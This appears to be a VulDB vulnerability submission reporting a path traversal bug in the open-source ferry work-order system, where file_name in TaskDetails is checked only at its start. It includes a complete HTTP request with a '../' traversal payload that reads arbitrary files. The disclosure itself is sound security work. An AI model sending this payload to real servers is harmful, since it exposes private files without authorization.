| タイトル | ferry work order system background arbitrary file reading |
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| 説明 | Hello, I sent an authorized arbitrary file to read in the ferry system
File address: https://github.com/lanyulei/ferry/blob/master/apis/process/task.go
Accept file_name from GET request in TaskDetails function Judgment as follows
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fileName == "" ||
strings.HasPrefix(fileName, ".") ||
strings.HasPrefix(fileName, "/") ||
strings.HasPrefix(fileName, "\\")
//it only verifies the beginning
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Judgment, this cannot avoid the occurrence of loopholes
We can copy file_name as ls.txt/../../anyfile
At this time, the system will return the file content to cause arbitrary file read vulnerability
Here is what I reproduced locally
I use golang1.16.15 to build in windows environment
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GET /api/v1/details?file_name=1.txt/../../../../../../../../../../../../test.txt HTTP/1.1
Host: 127.0.0.1:8002
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: http://127.0.0.1:8002/
Accept-Encoding: gzip, deflate
Cookie: Hm_lvt_1d2d61263f13e4b288c8da19ad3ff56d=1667456630; Hm_lpvt_1d2d61263f13e4b288c8da19ad3ff56d=1667456630
Connection: close
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My test.txt file is in the root directory of the E drive, at this point I can read it
project address：https://github.com/lanyulei/ferry
Thanks for your review
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| ユーザー | qsec (UID 33968) |
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| 送信 | 2022年11月03日 09:33 (4 年 ago) |
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| モデレーション | 2022年11月11日 07:56 (8 days later) |
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| ステータス | 承諾済み |
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| VulDBエントリ | 213447 [lanyulei ferry apis/process/task.go file_name ディレクトリトラバーサル] |
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| ポイント | 17 |
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